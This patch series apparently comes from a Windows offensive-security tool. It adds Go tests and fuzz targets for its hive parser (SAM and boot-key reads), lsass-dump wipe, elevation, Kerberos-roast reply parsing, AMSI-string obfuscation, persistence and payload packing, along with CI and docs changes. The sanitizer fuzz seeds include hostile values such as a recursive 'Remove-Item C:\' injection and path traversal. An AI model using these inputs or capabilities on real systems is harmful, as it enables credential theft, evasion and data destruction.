b/internal/audit/regf_test.go new file mode 100644 index 0000000..216a216 --- /dev/null +++ b/internal/audit/regf_test.go @@ -0,0 +1,274 @@ +package audit + +// Parser tests for the regf hive reader. regf.go is platform-neutral, so these +// run on every runner — the fuzz target (regf_fuzz_test.go) hunts for panics +// under mutation; these pin the actual semantics on a hand-built hive: cell +// offsets, the resident-value encoding, subkey-list resolution, key class +// names and the LSA class hex decode. +// +// The synthetic hives are built with putCell/putRawCell rather than checked in +// as binary fixtures, so the byte layout each test depends on is visible in +// the test itself. + +import ( + "encoding/binary" + "testing" +) + +// putRawCell writes a hive cell with a negative size header and no signature +// (value lists and data cells have none). +func putRawCell(buf []byte, off, bodyLen int, fill func([]byte)) { + p := regfHeaderSize + off + binary.LittleEndian.PutUint32(buf[p:p+4], uint32(int32(-(bodyLen + 4)))) + body := buf[p+4 : p+4+bodyLen] + if fill != nil { + fill(body) + } +} + +// emptyHive returns a header-sized buffer with the regf signature and root +// pointer already written; tests then lay out cells with putCell/putRawCell. +func emptyHive() []byte { + buf := make([]byte, regfHeaderSize+0x400) + copy(buf[0:4], "regf") + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0) // root nk at cell 0 + return buf +} + +func TestLoadHiveRejectsMalformedInput(t *testing.T) { + cases := map[string][]byte{ + "nil": nil, + "empty": {}, + "short": []byte("regf"), + "no magic": make([]byte, regfHeaderSize), + "bad magic": append([]byte("REGX"), make([]byte, regfHeaderSize)...), + } + for name, in := range cases { + if _, err := loadHive(in); err == nil { + t.Errorf("%s: loadHive accepted a malformed hive", name) + } + } +} + +func TestLoadHiveAcceptsBareHeader(t *testing.T) { + // A well-formed signature and length is all loadHive itself checks; the + // cell layout is validated lazily by root(). + if _, err := loadHive(emptyHive()); err != nil { + t.Fatalf("loadHive(valid header) = %v, want nil", err) + } +} + +func TestRootParsesKeyNode(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x14:0x18], 2) // numSubkeys + binary.LittleEndian.PutUint32(c[0x24:0x28], 3) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no value list + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + if root.numSubkeys != 2 || root.numValues != 3 { + t.Errorf("root = %d subkeys / %d values, want 2/3", root.numSubkeys, root.numValues) + } + // subkeyOffsets short-circuits to (nil, nil) when subkeyList is + // 0xFFFFFFFF or numSubkeys is 0; here numSubkeys is non-zero but the list + // offset is 0, which must produce an error rather than a panic. + if _, err := root.subkeys(); err == nil { + t.Error("subkeys() with a bogus list offset: want error, got nil") + } +} + +func TestRootRejectsNonKeyCell(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "vk", nil) // wrong signature + h, _ := loadHive(buf) + if _, err := h.root(); err == nil { + t.Error("root() on a vk cell: want error, got nil") + } +} + +func TestRootRejectsOutOfRangeOffset(t *testing.T) { + buf := emptyHive() + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0xFFFFFF00) // past the end + h, _ := loadHive(buf) + if _, err := h.root(); err == nil { + t.Error("root() with an out-of-range offset: want error, got nil") + } +} + +// TestValueResidentAndMissing covers the value list -> vk chain, including the +// resident encoding where the data lives inside the offset field. +func TestValueResidentAndMissing(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x24:0x28], 1) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0x50) // value list at cell 0x50 + }) + putRawCell(buf, 0x50, 4, func(c []byte) { + binary.LittleEndian.PutUint32(c[0:4], 0x60) // one vk at cell 0x60 + }) + putCell(buf, 0x60, vkMinSize+4, "vk", func(c []byte) { + binary.LittleEndian.PutUint16(c[0x02:0x04], 4) // nameLen + binary.LittleEndian.PutUint32(c[0x04:0x08], 0x80000003) // resident, 3 bytes + copy(c[0x08:0x0B], "abc") // resident data + binary.LittleEndian.PutUint32(c[0x0C:0x10], 1) // REG_SZ + copy(c[vkMinSize:vkMinSize+4], "Test") + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + data, typ, err := root.value("Test") + if err != nil { + t.Fatalf("value(Test): %v", err) + } + if string(data) != "abc" || typ != 1 { + t.Errorf("value(Test) = %q/%d, want \"abc\"/1", data, typ) + } + // Value names are case-insensitive, as in the live registry. + if _, _, err := root.value("tEsT"); err != nil { + t.Errorf("value lookup should be case-insensitive: %v", err) + } + if _, _, err := root.value("Missing"); err == nil { + t.Error("value(Missing): want error, got nil") + } +} + +func TestSubkeyListAndPathWalk(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x14:0x18], 1) // numSubkeys + binary.LittleEndian.PutUint32(c[0x1C:0x20], 0x50) // subkey list + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no values + }) + putCell(buf, 0x50, 12, "lf", func(c []byte) { + binary.LittleEndian.PutUint16(c[2:4], 1) + binary.LittleEndian.PutUint32(c[4:8], 0x60) + }) + // Child key named "SAM" (ASCII-compressed: nk flag bit 0x20). + putCell(buf, 0x60, nkMinSize+3, "nk", func(c []byte) { + binary.LittleEndian.PutUint16(c[0x02:0x04], nkFlagASCIIName) + binary.LittleEndian.PutUint16(c[0x48:0x4A], 3) // nameLen + copy(c[nkMinSize:nkMinSize+3], "SAM") + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + subs, err := root.subkeys() + if err != nil { + t.Fatalf("subkeys: %v", err) + } + if len(subs) != 1 || subs[0].name != "SAM" { + t.Fatalf("subkeys = %d entries (%q), want 1 (\"SAM\")", len(subs), names(subs)) + } + child, err := root.subkey("sam") // case-insensitive + if err != nil { + t.Fatalf("subkey(sam): %v", err) + } + if child.name != "SAM" { + t.Errorf("subkey(sam).name = %q, want SAM", child.name) + } + if _, err := root.subkey("nope"); err == nil { + t.Error("subkey(nope): want error, got nil") + } + if got, err := h.openKey("SAM"); err != nil || got.name != "SAM" { + t.Errorf("openKey(SAM) = %v/%q, want nil/SAM", err, got.name) + } + if _, err := h.openKey("SAM\\Deeper"); err == nil { + t.Error("openKey(SAM\\Deeper): want error, got nil") + } +} + +// TestClassNameHexRoundTrip mirrors how the boot key components are read: an +// nk pointing at a class cell holding an 8-char hex string. +func TestClassNameHexRoundTrip(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x30:0x34], 0x50) // classOff + binary.LittleEndian.PutUint16(c[0x4A:0x4C], 8) // classLen + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) + }) + putRawCell(buf, 0x50, 8, func(c []byte) { copy(c, "a1b2c3d4") }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + class, err := root.className() + if err != nil { + t.Fatalf("className: %v", err) + } + if class != "a1b2c3d4" { + t.Fatalf("className = %q, want a1b2c3d4", class) + } + got, err := hexClass(class) + if err != nil { + t.Fatalf("hexClass(%q): %v", class, err) + } + want := []byte{0xa1, 0xb2, 0xc3, 0xd4} + if len(got) != 4 || got[0] != want[0] || got[3] != want[3] { + t.Errorf("hexClass = %x, want %x", got, want) + } +} + +func TestClassNameEmptyWhenAbsent(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", nil) + h, _ := loadHive(buf) + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + if got, err := root.className(); err != nil || got != "" { + t.Errorf("className with no class = %q/%v, want \"\"/nil", got, err) + } +} + +func TestHexClassValidation(t *testing.T) { + bad := []string{"", "abc", "abcdefghi", "zzzzzzzz", "a1b2c3d"} + for _, s := range bad { + if _, err := hexClass(s); err == nil { + t.Errorf("hexClass(%q) = nil error, want rejection", s) + } + } + got, err := hexClass(" A1B2C3D4 ") // trimmed, upper case accepted + if err != nil { + t.Fatalf("hexClass(hex with padding): %v", err) + } + if len(got) != 4 || got[0] != 0xa1 { + t.Errorf("hexClass = %x, want a1b2c3d4", got) + } +} + +func names(ns []*nk) string { + out := "" + for i, n := range ns { + if i > 0 { + out += "," + } + out += n.name + } + return out +} diff --git a/internal/audit/wipe_test.go b/internal/audit/wipe_test.go new file mode 100644 index 0000000..83e9a0f --- /dev/null +++ b/internal/audit/wipe_test.go @@ -0,0 +1,57 @@ +package audit + +// WipeFile is deliberately portable (see wipe.go): it is the delete half of the +// lsass-dump cleanup and the cross-platform test below is what caught the old +// Windows-only stub silently reporting "wiped" on a non-Windows build. + +import ( + "os" + "path/filepath" + "testing" +) + +func TestWipeFileRemovesFile(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "obl-lsass-4242.dmp") + if err := os.WriteFile(p, []byte("pretend this is a credential dump"), 0o600); err != nil { + t.Fatalf("seed file: %v", err) + } + if err := WipeFile(p); err != nil { + t.Fatalf("WipeFile: %v", err) + } + if _, err := os.Stat(p); !os.IsNotExist(err) { + t.Fatalf("file still present after WipeFile: stat err = %v", err) + } +} + +func TestWipeFileTruncatesBeforeUnlink(t *testing.T) { + // A hard link pins the inode: after WipeFile, the other name must observe a + // zero-length file rather than the original bytes. This is the assertion + // the old stub failed — it never touched the contents. + dir := t.TempDir() + p := filepath.Join(dir, "obl-lsass-1.dmp") + link := filepath.Join(dir, "pinned.bin") + secret := []byte("SEKRIT-DUMP-BYTES") + if err := os.WriteFile(p, secret, 0o600); err != nil { + t.Fatalf("seed file: %v", err) + } + if err := os.Link(p, link); err != nil { + t.Skipf("hard links unavailable: %v", err) + } + if err := WipeFile(p); err != nil { + t.Fatalf("WipeFile: %v", err) + } + got, err := os.ReadFile(link) + if err != nil { + t.Fatalf("read linked copy: %v", err) + } + if len(got) != 0 { + t.Errorf("linked copy still holds %d bytes after WipeFile, want 0", len(got)) + } +} + +func TestWipeFileMissingFileErrors(t *testing.T) { + if err := WipeFile(filepath.Join(t.TempDir(), "does-not-exist.dmp")); err == nil { + t.Error("WipeFile on a missing file: want error, got nil") + } +} diff --git a/internal/elevate/elevate_windows_test.go b/internal/elevate/elevate_windows_test.go new file mode 100644 index 0000000..14eff21 --- /dev/null +++ b/internal/elevate/elevate_windows_test.go @@ -0,0 +1,45 @@ +//go:build windows + +package elevate + +import ( + "strings" + "testing" + + "golang.org/x/sys/windows" +) + +// The error type carries the only message the operator sees when UAC is +// declined, and MarkerArg is the handshake that tells the elevated child it was +// launched by RelaunchElevated rather than by hand. Both are cheap to pin. +func TestElevateErrorAndMarker(t *testing.T) { + if errCancelled.Error() == "" { + t.Error("errCancelled must carry a message for the operator") + } + var err error = elevateError("boom") + if err.Error() != "boom" { + t.Errorf("elevateError(\"boom\").Error() = %q", err.Error()) + } + if !strings.Contains(MarkerArg, "elevation") { + t.Errorf("MarkerArg = %q, want the documented -elevation-attempted handshake", MarkerArg) + } + // StripMarker must recognise exactly what RelaunchElevated appends. + if _, ok := StripMarker([]string{"obl.exe", MarkerArg}); !ok { + t.Error("StripMarker did not recognise the marker RelaunchElevated appends") + } +} + +// TestIsAdminAgreesWithToken exercises IsAdmin without elevating anything; on a +// non-elevated CI runner it must report false, on an elevated shell true. +func TestIsAdminAgreesWithToken(t *testing.T) { + got := IsAdmin() + + var token windows.Token + if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil { + t.Skipf("cannot open own process token: %v", err) + } + defer token.Close() + if want := token.IsElevated(); got != want { + t.Errorf("IsAdmin() = %v, want %v (token says %v)", got, want, want) + } +} diff --git a/internal/krb/krb_fuzz_test.go b/internal/krb/krb_fuzz_test.go new file mode 100644 index 0000000..12f1553 --- /dev/null +++ b/internal/krb/krb_fuzz_test.go @@ -0,0 +1,30 @@ +package krb + +// Fuzz target for the KDC response parser. +// +// parseRep decodes what arrives on the wire from a host answering on port 88 — +// a domain controller we hope is honest, or whatever a hostile network planted +// in its place. That is untrusted input, and a panic here aborts the roast path +// mid-engagement, so the exhaustive decoder needs proof it rejects garbage +// without dying. The seed reuses the known-good KRB-ERROR vector from the unit +// tests so the fuzzer mutates a decodable structure. + +import "testing" + +func FuzzParseRep(f *testing.F) { + // KRB-ERROR ::= [APPLICATION 30] with error-code [6] = 25, plus pvno and + // msg-type, i.e. the same shape TestParseKRBError pins. + f.Add(app(30, append(ctx(0, derInt(5)), append(ctx(1, derInt(30)), ctx(6, derInt(25))...)...))) + // AS-REP ::= [APPLICATION 11] with pvno/msg-type and an EncryptedData [6]. + ed := ctx(6, derSeq(derInt(23), derOctet([]byte{0xde, 0xad, 0xbe, 0xef}))) + asrep := append(ctx(0, derInt(5)), ctx(1, derInt(11))...) + asrep = append(asrep, ed...) + f.Add(app(11, asrep)) + f.Add([]byte{}) + f.Add([]byte{0x7e}) // APPLICATION 30 tag, no length + f.Add([]byte{0x6b}) // APPLICATION 11 tag, no length + + f.Fuzz(func(t *testing.T, data []byte) { + _, _, _, _ = parseRep(data) + }) +} diff --git a/internal/lateral/tls_test.go b/internal/lateral/tls_test.go new file mode 100644 index 0000000..a5bc991 --- /dev/null +++ b/internal/lateral/tls_test.go @@ -0,0 +1,20 @@ +package lateral + +import "testing" + +// insecureTLS is the opt-in escape hatch for a lab WinRM listener with a +// self-signed certificate. The invariant worth pinning: certificate +// verification is only ever skipped when the operator asked for it. A +// regression that returned an insecure config by default would be silent. +func TestInsecureTLSIsOptIn(t *testing.T) { + if cfg := insecureTLS(false); cfg != nil { + t.Errorf("insecureTLS(false) = %+v, want nil so Go's default verification applies", cfg) + } + cfg := insecureTLS(true) + if cfg == nil { + t.Fatal("insecureTLS(true) = nil, want a config with InsecureSkipVerify") + } + if !cfg.InsecureSkipVerify { + t.Error("insecureTLS(true).InsecureSkipVerify = false, want true") + } +} diff --git a/internal/obfuscate/obfuscate_fuzz_test.go b/internal/obfuscate/obfuscate_fuzz_test.go new file mode 100644 index 0000000..abe32f3 --- /dev/null +++ b/internal/obfuscate/obfuscate_fuzz_test.go @@ -0,0 +1,23 @@ +package obfuscate + +// Fuzz target for the string obfuscator. +// +// There is no parser here, so this pins an invariant rather than hunting a +// crash: Mask and S are exact inverses for every input, and S must never panic +// on arbitrary bytes (it runs on embedded literals at process start). A +// round-trip break means a masked literal in .rodata decodes to the wrong +// value — a silent, hard-to-trace runtime failure. + +import "testing" + +func FuzzMaskRoundTrip(f *testing.F) { + f.Add("AmsiScanBuffer") + f.Add("") + f.Add("\x00\xff\x1b\x7f") // arbitrary bytes: S is byte-wise, not UTF-8 aware + + f.Fuzz(func(t *testing.T, s string) { + if got := S(Mask(s)); got != s { + t.Fatalf("S(Mask(%q)) = %q, round-trip broken", s, got) + } + }) +} diff --git a/internal/persist/sanitize_fuzz_test.go b/internal/persist/sanitize_fuzz_test.go new file mode 100644 index 0000000..3ef11e2 --- /dev/null +++ b/internal/persist/sanitize_fuzz_test.go @@ -0,0 +1,47 @@ +package persist + +import ( + "strings" + "testing" +) + +// FuzzSanitizeName pins the invariant that makes the persist HTTP API safe: +// whatever a caller puts in the JSON "name" field, the string that ends up as a +// registry value name, a Startup folder filename or a PowerShell argument can +// only contain [A-Za-z0-9._-] and is at most 64 bytes. The table test next door +// covers the cases we thought of; this covers the ones we did not. +func FuzzSanitizeName(f *testing.F) { + for _, s := range []string{ + "obl-update", + "a.b_c9", + `..\evil`, + "../../etc/passwd", + `evil"; Remove-Item C:\ -Recurse #`, + "a b", + "$(calc).exe", + "a`nb", + strings.Repeat("x", 200), + "héllo", + } { + f.Add(s) + } + f.Fuzz(func(t *testing.T, name string) { + got := sanitizeName(name) + if len(got) > 64 { + t.Fatalf("sanitizeName(%q) is %d bytes, want at most 64", name, len(got)) + } + for i := 0; i < len(got); i++ { + c := got[i] + switch { + case c >= 'a' && c <= 'z', c >= 'A' && c <= 'Z', c >= '0' && c <= '9', + c == '-', c == '_', c == '.': + default: + t.Fatalf("sanitizeName(%q) = %q contains %q, outside [A-Za-z0-9._-]", name, got, c) + } + } + // Idempotent: a name that round-trips through the API must not drift. + if again := sanitizeName(got); again != got { + t.Fatalf("sanitizeName is not idempotent: %q -> %q -> %q", name, got, again) + } + }) +} diff --git a/internal/research/pack_fuzz_test.go b/internal/research/pack_fuzz_test.go new file mode 100644 index 0000000..1301274 --- /dev/null +++ b/internal/research/pack_fuzz_test.go @@ -0,0 +1,34 @@ +package research + +// Fuzz target for the packed-payload envelope. +// +// Unpack runs the moment a payload is loaded, and on any --payload file an +// operator points the injector at — potentially an artefact assembled by +// someone else. A truncated or adversarial blob must fail closed and never +// panic. The seed is a genuine Pack output so the fuzzer mutates the envelope +// (lengths, nonce, ciphertext, tag), not just the magic. +// +// The key is fixed and non-secret by design: this target checks parser +// robustness, not confidentiality. + +import "testing" + +func FuzzUnpack(f *testing.F) { + key := DeriveKey("obliteratus-fuzz-seed") + if packed, err := Pack(key, []byte("\x90\x90\x90\xc3 payload placeholder")); err == nil { + f.Add(packed) + } + f.Add([]byte{}) + f.Add(packMagic) + f.Add(append(append([]byte{}, packMagic...), make([]byte, 40)...)) + + f.Fuzz(func(t *testing.T, data []byte) { + if _, err := Unpack(key, data); err == nil { + // A successful decode must at least be self-consistent: anything + // Unpack accepts has to survive a repack round-trip. + if !IsPacked(data) { + t.Fatalf("Unpack accepted a blob IsPacked rejected: %x", data) + } + } + }) +} From d7ad48796100e49da60d407e3aa4bab8240b75e9 Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 11:00:10 -0500 Subject: [PATCH 3/7] ci: gate merges on gosec and a bounded fuzz smoke run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two new jobs. `fuzz-smoke` runs the five parser targets for 30s each on every push and PR: a panic in one of them is an availability bug in the console that holds an elevated token, not a test artefact. `sast` runs gosec with GOOS pinned to windows — on linux the scan would silently skip the windows-only packages, which hold the entire security-sensitive surface. Two rules are excluded on the command line: G103 (37 hand-reviewed unsafe sites; the tool is an unsafe/syscall bridge) and G104 (14 unchecked errors, every one a deferred handle close). Everything else fails the build. gosec cannot build SSA for internal/research because go/types rejects a bodyless function (EnergyFlow lives in energyflow_amd64.s), so the job asserts that the missing-function-body error is the only tolerated one: a new type error would disable analysis just as silently, and now fails too. Raise the coverage floor 35 -> 42 to match the new whole-tree number, and add make targets (sast, fuzz-check, cover) so all of it is reachable locally. --- .github/workflows/ci.yml | 94 +++++++++++++++++++++++++++++++++++++--- .gitignore | 3 ++ Makefile | 22 +++++++++- 3 files changed, 112 insertions(+), 7 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f4b377d..81e34a3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -36,12 +36,13 @@ jobs: go test ./... -coverprofile=cover.out -count=1 total=$(go tool cover -func=cover.out | awk '/^total:/ {gsub(/%/,"",$3); print $3}') echo "total statement coverage: ${total}%" - # Ratchet, not a target. Windows-only packages (collectors, regf, - # lsass, winutil) cannot be exercised on the Linux runner, so the - # whole-tree number stays modest; this floor exists to stop it going - # *down*. Raise it whenever coverage improves — never lower it to - # make a red build green. - min=35 + # Ratchet, not a target. The remainder is code that needs something + # this runner does not have: a SYSTEM/browser-user token (the DPAPI + # and app-bound-key collection backends), a live LSASS, a real Chrome + # or Edge profile, a spawning schtasks.exe / powershell.exe, or a + # domain to talk to. This floor exists to stop coverage going *down* + # — raise it whenever it improves, never lower it to green a build. + min=42 if awk "BEGIN {exit !(${total} < ${min})}"; then echo "::error::coverage ${total}% is below the ${min}% floor" exit 1 @@ -87,6 +88,87 @@ jobs: - name: unit tests (platform-neutral packages) run: go test ./internal/token ./internal/audit ./internal/ui ./internal/server + # Fuzzing on every push/PR. The packages exercised here eat untrusted input — + # registry hives, KDC replies, payload envelopes — inside a process that holds + # an elevated token, so a panic is a real availability bug, not a test + # artefact. Runs are short and bounded: this is a smoke gate, not a soak. Any + # crasher is written to testdata/fuzz/ and fails the job. + # + # One target per invocation: `go test -fuzz` matches a single target. + fuzz-smoke: + name: fuzz smoke (parsers) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v7 + with: + go-version-file: go.mod + - name: fuzz regf hive parser + run: go test -run='^$' -fuzz=FuzzRegf -fuzztime=30s ./internal/audit + - name: fuzz krb response parser + run: go test -run='^$' -fuzz=FuzzParseRep -fuzztime=30s ./internal/krb + - name: fuzz payload envelope + run: go test -run='^$' -fuzz=FuzzUnpack -fuzztime=30s ./internal/research + - name: fuzz obfuscator round-trip + run: go test -run='^$' -fuzz=FuzzMaskRoundTrip -fuzztime=30s ./internal/obfuscate + - name: fuzz persist name sanitizer + run: go test -run='^$' -fuzz=FuzzSanitizeName -fuzztime=30s ./internal/persist + + # Static analysis (gosec) of exactly the code that ships. GOOS is pinned to + # windows even though the runner is Linux, because the entire + # security-sensitive surface lives in the windows-only packages; on linux the + # scan would silently see a third of the tree. + # + # The scan runs at full strength bar two rules excluded on the command line, + # each because every instance is deliberate and re-reviewing adds no signal: + # * G103 (use of unsafe) — the tool *is* an unsafe.Pointer/syscall + # bridge; 37 sites, all hand-reviewed. + # * G104 (unhandled error) — 14 sites, every one a cleanup path (deferred + # Close on a handle we are finished with). + # Every other finding was either fixed (file modes 0755/0644 -> 0700/0600) or + # suppressed inline as `//#nosec -- `, so the reason travels + # with the code: 47 suppressions, mostly protocol-mandated weak crypto + # (DES/RC4/MD4 per MS-SAMR, MS-NLMP, RFC 4757) and width narrowing in the + # binary parsers. `gosec ./...` without -exclude lists them all. + # + # Known blind spot: go/types cannot type-check a bodyless function, so gosec + # fails to build SSA for internal/research (EnergyFlow is implemented in + # energyflow_amd64.s) and the taint rules skip that one package. The job + # asserts that this is the *only* tolerated error — a new type error would + # likewise disable analysis silently, so it fails the build too. + sast: + name: gosec (static analysis) + runs-on: ubuntu-latest + env: + GOOS: windows + GOARCH: amd64 + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v7 + with: + go-version-file: go.mod + - name: install gosec + run: go install github.com/securego/gosec/v2/cmd/gosec@latest + - name: gosec + run: | + # -no-fail: gosec exits non-zero on the tolerated assembly type error + # even with no findings; the gates below decide pass/fail instead. + gosec -no-fail -fmt=json -exclude=G103,G104 ./... > gosec.json + issues=$(jq '.Issues | length' gosec.json) + if [ "$issues" -ne 0 ]; then + jq -r '.Issues[] | "::error file=\(.file),line=\(.line)::\(.rule_id) \(.details)"' gosec.json + echo "::error::gosec reported ${issues} finding(s)" + exit 1 + fi + if jq -r '."Golang errors"[]?[]?.error' gosec.json \ + | grep -v '^# command-line-arguments$' \ + | grep -qv 'missing function body'; then + echo "::error::unexpected gosec type error — a package was not fully analysed" + jq -r '."Golang errors"[]?[]?.error' gosec.json + exit 1 + fi + echo "gosec: no findings" + # Reachability-aware vulnerability scanning: govulncheck reports only the # advisories your code can actually reach, so its verdict is actionable # rather than a noisy list of every CVE in the module graph. It exits diff --git a/.gitignore b/.gitignore index 5c0fcb5..b7b7aa0 100644 --- a/.gitignore +++ b/.gitignore @@ -37,6 +37,9 @@ obj/ # Go test coverage profile (produced by the CI coverage gate) cover.out +# gosec JSON report from a local `gosec -fmt=json -out=gosec.json ./...` +gosec.json + # goreleaser output (local --snapshot builds; the CI release uploads these # to the GitHub Release instead of the tree) dist/ diff --git a/Makefile b/Makefile index e2ae0be..6ab890f 100644 --- a/Makefile +++ b/Makefile @@ -5,7 +5,7 @@ BINARY := obliteratus CMD := ./cmd/obliteratus LDFLAGS := -ldflags="-s -w" -.PHONY: all build build-windowed cross audit test vet fmt clean +.PHONY: all build build-windowed cross audit test vet fmt clean sast fuzz-check cover all: test build @@ -32,6 +32,26 @@ test: vet: go vet ./... +# Static analysis, mirroring the `sast` job in CI: same exclusions, same +# rationale (see .github/workflows/ci.yml). Requires: go install +# github.com/securego/gosec/v2/cmd/gosec@latest +sast: + gosec -exclude=G103,G104 ./... + +# Short fuzz smoke over the parser targets. CI runs 30s each; this is the +# "did I break a parser" check. A crasher lands in testdata/fuzz//. +fuzz-check: + go test -run='^$$' -fuzz=FuzzRegf -fuzztime=20s ./internal/audit + go test -run='^$$' -fuzz=FuzzParseRep -fuzztime=20s ./internal/krb + go test -run='^$$' -fuzz=FuzzUnpack -fuzztime=20s ./internal/research + go test -run='^$$' -fuzz=FuzzMaskRoundTrip -fuzztime=20s ./internal/obfuscate + go test -run='^$$' -fuzz=FuzzSanitizeName -fuzztime=20s ./internal/persist + +# Whole-tree statement coverage; CI fails below its ratcheting floor. +cover: + go test ./... -coverprofile=cover.out -count=1 + go tool cover -func=cover.out | tail -1 + fmt: gofmt -w . From c6a844b9751edc4aacb87dfd2464f2197b2ebfa6 Mon Sep 17 00:00:00 2001 From: DevCop95 Date: Sat, 17 Oct 2026 11:00:11 -0500 Subject: [PATCH 4/7] docs: fix the cosign identity, record the Authenticode gap, add community files MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit docs/SIGNING.md told verifiers to expect the certificate identity DevCop95/obliteratus. That repository does not exist — the workflow runs in DevCop95/pullgoscript — so the documented command failed against the real v2.0.2 release. Replaced with the actual subject and the observed output of both the passing and the failing case, plus a note that the identity changes if the repository is ever renamed. The README's releases link pointed at the same wrong name. The Authenticode section now states the remaining supply-chain gap honestly rather than implying the artifacts are already Windows-trusted: cosign and the SBOM are live, Authenticode is blocked on acquiring a certificate. Add CODE_OF_CONDUCT.md (Contributor Covenant 2.1), issue forms that route vulnerability reports to private reporting instead of the public tracker, a PR checklist, and document the new CI gates in CONTRIBUTING.md. --- .github/ISSUE_TEMPLATE/bug_report.yml | 79 ++++++++++++ .github/ISSUE_TEMPLATE/config.yml | 13 ++ .github/ISSUE_TEMPLATE/feature_request.yml | 57 +++++++++ .github/PULL_REQUEST_TEMPLATE.md | 35 ++++++ CODE_OF_CONDUCT.md | 134 +++++++++++++++++++++ CONTRIBUTING.md | 38 +++++- README.md | 2 +- docs/SIGNING.md | 71 +++++++++-- 8 files changed, 412 insertions(+), 17 deletions(-) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.yml create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.yml create mode 100644 .github/PULL_REQUEST_TEMPLATE.md create mode 100644 CODE_OF_CONDUCT.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..ea6e70f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,79 @@ +name: Bug report +description: A reproducible defect in the audit, the console or a build artifact. +title: "[bug] " +labels: ["bug", "needs-triage"] +body: + - type: markdown + attributes: + value: | + > **Not for vulnerabilities.** If you found a flaw in OBLITERATUS + > itself (auth, token handling, injection, audit correctness), use + > [private vulnerability reporting](https://github.com/DevCop95/pullgoscript/security/advisories/new) + > instead — see [SECURITY.md](https://github.com/DevCop95/pullgoscript/blob/main/SECURITY.md). + - type: checkboxes + id: preflight + attributes: + label: Preflight + options: + - label: I am reporting a bug, not a security vulnerability, and not "my AV flagged this" (that is expected — see docs/SIGNING.md). + required: true + - label: I agree to follow this project's Code of Conduct. + required: true + - type: input + id: version + attributes: + label: Version / commit + description: Output of `obliteratus.exe --version`, or the commit hash if built from source. + placeholder: "2.0.2" + validations: + required: true + - type: textarea + id: what-happened + attributes: + label: What happened + description: The observed behaviour, and what you expected instead. + validations: + required: true + - type: textarea + id: reproduce + attributes: + label: Reproduction steps + description: Exact commands or dashboard actions. Redact tokens and host names. + placeholder: | + 1. obliteratus.exe --audit --json + 2. ... + validations: + required: true + - type: input + id: windows + attributes: + label: Windows build + description: e.g. Windows 11 24H2 (26100.2033), or the Server SKU and build. + validations: + required: true + - type: dropdown + id: admin + attributes: + label: Was the process elevated? + options: + - "Yes (Administrator / SYSTEM)" + - "No (standard user token)" + - "Not sure" + validations: + required: true + - type: textarea + id: flags + attributes: + label: Flags used + description: Which `--enable-*` modules were active, if any. + placeholder: "--enable-collect --enable-inject" + validations: + required: false + - type: textarea + id: logs + attributes: + label: Logs / JSON output + description: Relevant output. **Never paste an API token or a recovered credential.** + render: text + validations: + required: false diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..c07a5dc --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,13 @@ +blank_issues_enabled: false +contact_links: + # A security tool gets drive-by "this looks like malware" issues and, worse, + # vulnerability reports filed publicly. Both have a better home. + - name: Report a vulnerability (private) + url: https://github.com/DevCop95/pullgoscript/security/advisories/new + about: Do not open a public issue for a flaw in OBLITERATUS itself. Use private vulnerability reporting. + - name: '"My AV flagged this" / Defender detections' + url: https://github.com/DevCop95/pullgoscript/blob/main/docs/SIGNING.md + about: Expected for an unsigned offensive tool — read the signing and verification doc before filing. + - name: Audit, flags and module reference + url: https://github.com/DevCop95/pullgoscript#readme + about: How the audit works, what each --enable-* flag unlocks, and the console's threat model. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..d73855e --- /dev/null +++ 